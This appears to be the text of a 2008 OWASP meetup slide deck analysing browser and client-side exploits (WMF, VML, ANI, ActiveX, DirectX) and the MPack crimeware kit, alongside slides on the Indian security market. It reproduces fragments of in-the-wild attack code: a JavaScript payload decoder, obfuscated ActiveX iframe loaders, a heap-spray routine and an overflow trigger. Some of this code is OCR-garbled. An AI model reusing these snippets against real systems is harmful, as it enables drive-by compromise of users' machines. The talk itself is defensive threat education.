Crossing the Chasm

Anatomy of Client-Side and Browser-Based Exploits

OWASP Delhi Meetup

October 18, 2008

Pukhraj Singh

Vikriya, www.vikriya.com
“Trust me, I know what I am doing.”

- Director, Products and Services at Vikriya
- Strategic Advisor at Torrid Networks
- Senior Threat Analyst at Symantec Canada
- Project Manager at Third Brigade
- Founder at SigInt Network Defense
- Security Researcher at Blue Lane Technologies
The bigger picture...
Where are we now?

An organizational perspective

- Organizations have understood the end-to-end picture.
- Security has become justifiable in business terms.
- ‘Proactive, preemptive and inclusionary’ is the motto.
- Resolution of RoI is still under experimentation.
- Quality of manpower has improved.
Where are we now?

An industry perspective

- The industry is back to basics.
- Witnessing a wide scale, two-pronged consolidation.
- Focus shifting from best-of-the-breed to contemporary.
- Upping the effort to build in-house, multi-vendor, wholesome solutions at lowest cost.
- Turnkey, productized-services are the way to go.
- Investment is scarce and returns are scarcer.
- Technical innovation has hit the glass-ceiling.
- Outsourcing is still problematic.
Where are we now?  
*A technical perspective*

- The threat landscape has changed.
- The focus is completely crime-centric.
- The vulnerability-to-exploit cycle is miniscule or negative.
- The vendors have become responsible and mature.
- Haphazard laws and legal ramifications have added to the FUD.
The failure of outsourcing

- Information security lags by 5-7 yrs from the mainstream outsourcing market.
- A tough, complex and multi-disciplinary job.
- Customer paranoia, compliance costs, confidentiality issues.
- Legal hassles with overseas contractors.
- Bigger contractors lack skilled manpower creation skills for this niche domain.
- Only mainstream security services are being pursued.
- Many opportunities are going unnoticed.
- More effort, less clarity, unneeded complexity, low quality.
The Indian security market

- The IT infrastructure is being completely overhauled.
- Organizations have been ‘pressurized’ to take security into consideration.
- Their buying approach is very conservative.
- The SMB sector is one huge, untapped and unaccounted opportunity.
Selling to Indian SMBs

- Relationship should be the topmost priority.
- SMBs still have a shopkeeper's approach.
- The market is unaccounted for. First-mover tactics.
- Personalized pitch.
- Focus on post-sales too.
- Let them get the bang for the buck.
- Assist them in assessing the RoI.
- Partner networks need to be improved.
- Marketing is still very immature.
Market is thumbs-up to contemporary offerings bundled in an ‘on-demand’ fashion.

“...Philippe Courtot (CEO, Qualys) acknowledged that in his business it is quite possible that an Indian company could come up with a vastly lower cost structure, and customers would switch immediately, if they are convinced about the reliability of the service.” -- Sramana Mitra

Challenges: Team, Sales, Investment.
The view from the foxhole…
WMF – Where it all began…

Timeline

- **October-December 2005**: Numerous versions of the private exploits were circulating in the wild already. The Russian mafia was selling ready-to-run malware versions for $4000.

- **27th December 2005**: The vulnerability details were disclosed publicly on a mailing list and working exploit was released.

- **29th December 2005**: Microsoft confirms the vulnerability, but no patch in sight. Numerous versions of the malware popping out every minute.

- **31st December 2005**: Ilfak Gulfikanov, an independent researcher, releases an unofficial patch for the vulnerability.

- **5th January 2006**: Microsoft breaks out from its patch release cycle under pressure and delivers the fixes (MS06-001).
WMF – Where it all began…

Technical details…

- WMF contains graphics functions and parameters used to render an image.
- The file has a main header (18 bytes), followed by one or more data records.

```c
typedef struct _WindowsMetaHeader
{
    WORD FileType; /* Type of metafile (1=memory, 2=disk) */
    WORD HeaderSize; /* Size of header in WORDS (always 9) */
    WORD Version; /* Version of Microsoft Windows used */
    DWORD FileSize; /* Total size of the metafile in WORDs */
    WORD NumOfObjects; /* Number of objects in the file */
    DWORD MaxRecordSize; /* The size of largest record in WORDs */
    WORD NumOfParams; /* Not Used (always 0) */
} WMFHEAD
```
A record is a binary-encoded function call to the MS-GDI. An integer identifies a specific GDI function, along with the parameters to that function.

To render, the library calls each GDI function specified in these records and passes the associated parameters.

typedef struct
{   DWORD rdSize;  
    WORD rdFunction;  
    WORD rdParm[1];  
} METARECORD;

int Escape( HDC hdc, int nEscape, int InDataSize, LPCSTR lpvInData,  
            LPVOID lpvOutData );

Second, third, and the fourth parameters are directly supplied by the file.
SetAbortProc sets the application-defined abort function that allows a print job to be cancelled during spooling.

```c
int SetAbortProc( HDC hdc, ABORTPROC lpAbortProc );
```

- The second argument is a pointer to an arbitrary function.
- When WMF calls it, the function code is directly supplied as the last parameter.
- Rest is for your grandchildren…
WMF – Where it all began…

Celebrating 0-day New Year

Metasploit introduced compression, chunked encoding, dummy records evasion.

Targeted attacks came to the limelight.

Marked a milestone which changed the threat landscape.

Contemporary defense was about to become obsolete.
<SCRIPT LANGUAGE="JScript">
var rng = document.body.createTextRange( );
if (rng!=null) {
    alert(rng.htmlText);
}
</SCRIPT>

- `createTextRange` method returns the `TextRange` object for an HTML element.

- `TextRange` facilitates the retrieval and modification of the text content of the element.

BODY, BUTTON, TEXTAREA, INPUT type=button, hidden, password, reset, submit, text

- Not all INPUT types support the `TextRange` object, so the `createTextRange` object method may not be invoked.
createTextRange utilizes a function pointer stored in a structure belonging to the INPUT element.

Not initialized properly if the INPUT type is not designed to use createTextRange (button, checkbox, image, radio).

The pointer contains an arbitrary address that usually points to the heap.

The value stored at that address is directly used as the address of a function.
The VML 0-Day
Setting the standard

- Rejected as a web standard and was replaced by the Scalable Vector Graphics (SVG).

```xml
<v:rect
    style='width:120pt;height:80pt'
    fillcolor="red">
    <v:fill
        type="gradient"
        method="linear"/>
</v:rect>
```

- The "fill" sub-element describes how the drawn object should be filled.
- No bounds checking on the `method` attribute of the `fill`.
- Uses a fixed size stack buffer of 260 bytes.
The VML 0-Day
Setting the standard

- Ubiquitous attack vectors (HTML - Outlook, IE).
- *Method* could be anywhere.
- Scripting languages are a decoding nightmare.
- IPS groaned. AVs were doing second-stage detection.
- Exploit-facing protection was debunked.
The ANI 0-day
Things were never the same

- A graphics file format used for animated icons and cursors.
- Based on the RIFF file format, which is used as a container.
- RIFF is a generic meta-format for storing data in tagged chunks.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>4</td>
<td>Chunk Identifier</td>
<td>0x0000</td>
<td>4</td>
<td>Chunk Identifier</td>
</tr>
<tr>
<td>0x0004</td>
<td>4</td>
<td>Length (N)</td>
<td>0x0004</td>
<td>4</td>
<td>Length (N)</td>
</tr>
<tr>
<td>0x0008</td>
<td>N</td>
<td>Chunk Data</td>
<td>0x0008</td>
<td>4</td>
<td>Type Identifier</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x000C</td>
<td>N</td>
<td>subchunks</td>
</tr>
</tbody>
</table>

- Two Chunk Identifiers, "RIFF" and "LIST", contain subchunks.
- If the Type Identifier of "RIFF" chunk is "ACON", the file is an ANI cursor.
- Every ANI file has chunk with Chunk Identifier "anih" (36 bytes), containing summary description of the file.
The ANI 0-day
Things were never the same

```c
struct tagANIHeader {
  DWORD cbSizeOf;    // Num bytes in AniHeader (36 bytes)
  DWORD cFrames;     // Number of unique Icons in this cursor
  DWORD cSteps;      // Number of Blits before the animation cycles
  DWORD cx, cy;      // reserved, must be zero.
  DWORD cBitCount, cPlanes; // reserved, must be zero.
  DWORD JifRate;     // Default Jiffies (1/60th of a second) if rate
                      // chunk not present.
  DWORD flags;       // Animation Flag
} ANIHeader;
```

- Only the first “anih” chunk undergoes sanity checks.
- After the check, `LoadAniIcon` calls `ReadChunk`.
- `ReadChunk` copies each chunk into a stack-based buffer.
- *Length* determines the size of the buffer!
The ANI 0-day

*Things were never the same*

- Mind-bogglingly diverse attack vectors (HTML, attachments).
- The file extension could be changed.
- Even the preview functions are vulnerable.
- Actually, a bug which rose from its ashes.
- Mallet on the head of MS’ QA practices.
The most business-savvy cyber-crime model.

Heavy monetization. Arms bazaar.

Used for plethora of nefarious activities – espionage, data thefts, bot herding, etc.

Contemporary defense fails to provide protection.

AV vendors are fooling you by providing reactive defense.

Simple, precise, scalable, wide-scale, productizable.
The URL is encoded using a simple decimal representation method.

```
"&amp;104;&amp;116;&amp;116;&amp;112;&amp;58;&amp;47;&amp;47;&amp;119;&amp;119;&amp;119;&amp;46;&amp;114;&amp;111;&amp;99;&amp;107;&amp;45;&amp;115;&amp;112;&amp;105;&amp;114;&amp;105;&amp;116;&amp;115;&amp;46;&amp;100;&amp;101;&amp;47;&amp;116;&amp;101;&amp;109;&amp;112;&amp;108;&amp;97;&amp;116;&amp;101;&amp;115;&amp;47;&amp;105;&amp;110;&amp;100;&amp;101;&amp;120;&amp;46;&amp;112;&amp;104;&amp;112;"
```

The second URL contains harmless-looking encoded data and a decoder.
The decoding function was quite advanced, involving the use of a lookup table and a number of mathematical operations.

```javascript
function dc(x)
{
    l=x.length, b=1024, i, j, u, p=0, s=0, w=0;
    t=Array(63, 37, 23, 57, 1, 6, 19, 50, 27, 12, 0, 0, 0, 0, 0, 13, 10, 42, 46, 24, 45, 55, 43, 44, 15, 31, 53, 47, 34, 33, 14, 25, 40, 7, 26, 41, 17, 56, 49, 8, 9, 39, 0, 0, 0, 32, 0, 3, 30, 59, 48, 22, 20, 29, 2, 16, 4, 5, 35, 54, 58, 0, 21, 61, 60, 51, 52, 18, 28, 11, 38, 36, 62);
    for(j=Math.ceil(l/b); j>0; j--)
    {
        u='';
        for(i=Math.min(l, b); i>0; i--, l--)
        {
            w=(t[x.charCodeAt(p++)-48])<<s;
            if(s)
            {
                u += String.fromCharCode(226^w&255);
                w >>>= 8;
                s-=2;
            }
            else
            {
                s=6;
            }
        }
    }
    document.write(u);
}
Once run with the specified string, this decoding routine will write new content to the web site which exploits a number of vulnerabilities targeting Internet Explorer.

- Microsoft XML Core Service XMLHTTP ActiveX Control Remote Code Execution Vulnerability
- Microsoft MDAC RDS.Dataspace ActiveX Control Remote Code Execution Vulnerability
- Java Sandbox Privilege Escalation Exploit

- Downloads an executable QRhrTRWtr.exe, packed with FSG.
- Downloads another executable demo.exe, a variant of Infostealer.Bancos.
A encoded webpage points to a fake Orkut login.

The login information is sent to the attacker.

A variant of the Microsoft MDAC RDS.Dataspace ActiveX Control Remote Code Execution Vulnerability which downloads a known trojan.
ANI Exploitation
The actual exploit was obfuscated six times!

For the outermost layer of obfuscation, the attacker is using the `eval()` to evaluate the text as script code.

The decoded script is divided into three portions that are being passed as arguments to the `document.writeln()` function. This function will write the HTML expressions in the current window.

The resulting code is divided into two main portions. The first part is evaluating an expression encoded using the `escape()` function. This turns out to be a function doing mathematical substitution.

- Microsoft Internet Explorer Speech API 4 COM Object Instantiation Buffer Overflow Vulnerability
- Xunlei Web Thunder ThunderServer.webThunder.1 ActiveX Control Arbitrary File Download Vulnerability
Real Player ActiveX 0-Day
Real Player ActiveX 0-Day

/*...*/
try{if(new
ActiveXObject("M"+"1"+"cro"+"so"+"ft.X"+"ML"+"H"+""+"H")
window["document"]["write"]["<div style="display:none src="1.gif"">’
try{if(new
ActiveXObject("EF"+"RP"+"4"+"x43\x74\x6C\x2E\x4D\x44\x52"+"PC"+"tl.1")
window["document"]["write"]["<iframe style=display:none src="2.gif"">’
catch(e){}
}
catch(e);}
try{if(new
ActiveXObject("M"+"PS.S"+"to"+"rm"+"fL"+"ay"+"er")
window["document"]["write"]["<div style="display:none src="3.gif"">’
try{if(new
ActiveXObject("P"+"QW"+"ER"+"PLA"+"E"+"R.Powe"+"rPlay="+"src="+"tl.1")
window["document"]["write"]["<div style="display:none src="4.gif"">’
catch(e){}
}
catch(e);}

▶ Accesses the parent object window and indexes the document subobject: window["document"].

▶ It then references a method owned by the document object, by appending a second index: window["document"]["write"] causing the actual HTML code to be generated.
Real Player ActiveX 0-Day

```html
var bigblock=unescape("%u00cc%u00cc");
var headerSize=20;
var slackSpace=headerSize+shellcode.length;
while(bigblock.length<slackSpace)bigblock+=bigblock;
var fillblock=bigblock.substring(0,slackSpace);
var block=bigblock.substring(0,bigblock.length-slackSpace);
while(block.length<slackSpace)block=block+block+fillblock;
var memory=new Array();
for(i=0; i<400; i++) {memory[i]=block+shellcode}
var buf='';
while(buf.length<32)buf=buf+unescape("%0C");
var m='';
m=obj.Console;
obj.Console=buf;
obj.Console=m;
}```
Real Player ActiveX 0-Day
Facebook ActiveX Attack
Facebook ActiveX Attack

- Facebook Photo Uploader 'ImageUploader4.1.ocx' FileMask Method ActiveX Buffer Overflow Vulnerability

- Yahoo! Music Jukebox 'mediagrid.dll' ActiveX Control Remote Buffer Overflow Vulnerability

- Yahoo! Music Jukebox AddImage Function ActiveX Remote Buffer Overflow Vulnerability

- Apple QuickTime RTSP URI Remote Buffer Overflow Vulnerability
Facebook ActiveX Attack

- Stack-based overflow in Aurigma ImageUploader4.1.ocx ActiveX control
Buffer-overflow in the 'DXTLIPI.DLL' included in the Microsoft DirectX Media SDK.

DirectX Media SDK was deprecated 2002.

The vulnerability affects the 'SourceUrl' property of the 'DXSurface.LivePicture.FLashPix.1' ActiveX control.

SourceURL parameter of more then 2088 bytes results in the ECX register becoming corrupt and later causing a call to an attacker-supplied address.
MS DirectX 0-Day

```c
284.
285. function sdk_exploit()
286.
287..if (isMemory == false) makeMemory();
288..var tmp = "\xOA\xOA\xOA\xOA"
289..var tmp_size = 1044;
290..while(tmp.length < (tmp_size * 2)) tmp += tmp;
291..tmp = tmp.substring(0, tmp_size);
292..sdk.SourceUrl = tmp;
293..location.reload();
294.}
295.
296. function yahoo_exploit()
```

```
<table>
<thead>
<tr>
<th>Registers (FPU)</th>
</tr>
</thead>
<tbody>
<tr>
<td>EAX 00000000</td>
</tr>
<tr>
<td>ECX 00000074</td>
</tr>
<tr>
<td>EDX 0505FF51</td>
</tr>
<tr>
<td>EBX 0505FF51</td>
</tr>
<tr>
<td>ESP 01BC9EC</td>
</tr>
<tr>
<td>EBP 01BCFB04</td>
</tr>
<tr>
<td>ESI 0505FFCE</td>
</tr>
<tr>
<td>EDI 702F1A36</td>
</tr>
<tr>
<td>EIP 61495B15</td>
</tr>
</tbody>
</table>
```

urlmon.61495B15
MS DirectX 0-Day

- [hxxp://xpsite.org/load/index.php?wmid=8&pid=1 95eb8d5ef0ff76d9fcbe348a2185b4a51140ff5b 1
- [hxxp://xpsite.org/load/index.php?wmid=9&pid=1 ed0ae96942b03ab9000e368e0dcb8dc8242b7524 2
MPack Exploitation Toolkit
Cyber-crime at its best

➤ Sold like commercial software ($500-$1000).

➤ Technical support, developer upgrades.

➤ Embed and enjoy!

➤ Has a management console and analytics interface.
### MPack Exploitation Toolkit

**Cyber-Crime at its best**

<table>
<thead>
<tr>
<th>Attacked hosts: (total/uniq)</th>
<th>Traffic: (total/uniq)</th>
<th>Country</th>
<th>Traff</th>
<th>Loads</th>
<th>Efficiency</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE XP ALL</td>
<td>Total traff:</td>
<td>RU - Russian federation</td>
<td>14223</td>
<td>1934</td>
<td>13.6</td>
</tr>
<tr>
<td>QuickTime</td>
<td>Exploited:</td>
<td>IL - Israel</td>
<td>3660</td>
<td>285</td>
<td>7.79</td>
</tr>
<tr>
<td>Firefox</td>
<td>Loader's response:</td>
<td>IN - India</td>
<td>3275</td>
<td>568</td>
<td>17.34</td>
</tr>
<tr>
<td>Opera7</td>
<td>User blocking:</td>
<td>FR - France</td>
<td>2846</td>
<td>131</td>
<td>4.6</td>
</tr>
<tr>
<td></td>
<td>Country blocking:</td>
<td>AU - Australia</td>
<td>2529</td>
<td>77</td>
<td>3.04</td>
</tr>
<tr>
<td></td>
<td>Efficiency:</td>
<td>PL - Poland</td>
<td>2453</td>
<td>131</td>
<td>5.34</td>
</tr>
<tr>
<td></td>
<td></td>
<td>TR - Turkey</td>
<td>2013</td>
<td>259</td>
<td>12.07</td>
</tr>
<tr>
<td></td>
<td></td>
<td>UA - Ukraine</td>
<td>1905</td>
<td>288</td>
<td>15.12</td>
</tr>
<tr>
<td></td>
<td></td>
<td>BY - Belarus</td>
<td>1691</td>
<td>245</td>
<td>14.49</td>
</tr>
</tbody>
</table>

**MPack v0.86 stat**

- Attacked hosts: **IE XP ALL**: 39062 - 35472, **QuickTime**: 22 - 21, **Win2000**: 2197 - 2073, **Firefox**: 7166 - 7040, **Opera7**: 214 - 211
- Traffic: **Total traff**: 53858 - 47831, **Exploited**: 11961 - 10222, **Loads count**: 5518 - 5155, **Loader's response**: 46.06% - 50.43%, **User blocking**: ON, **Country blocking**: OFF
- Efficiency: 10.25% - 10.78%
The Russian Business Network
*Cyber-Crime at its best*

- Organized cyber-crime conglomerate.
- Physically based in Russia.
- MPack, Storm Worm, Child Pornography, phishing, spam – you name it.
- International partners and affiliates.
- Provides safe haven and hosting for nefarious activities.
- Estimated revenues are > $150M.
- Untraceable in the physical realm.
- Owns an Autonomous System (AS40989)!
- Close synergy with mainstream mafia.
- Remember Bank of India?
Predicting the Threat Landscape

- Information Warfare
- "Cybercrime"
- "Hactivism"
- Vandalism
- Experimentation

Impact vs Frequency
Cyber Threat Hype Cycle

(From "Hype Cycle for Cyberthreats. 2005," 22 September 2005)
InfoSec Hype Cycle

Key: Time to Plateau
- Less than two years
- Two to five years
- Five to 10 years
- More than 10 years
- Obsolete before Plateau

As of March 2006

My Legend:
- Green: Progressive
- Blue: Constant
- Red: Decline
Customers are getting smarter.
‘Phish for Beer’ Challenge - Anyone?
बचके रहो!
Play safe!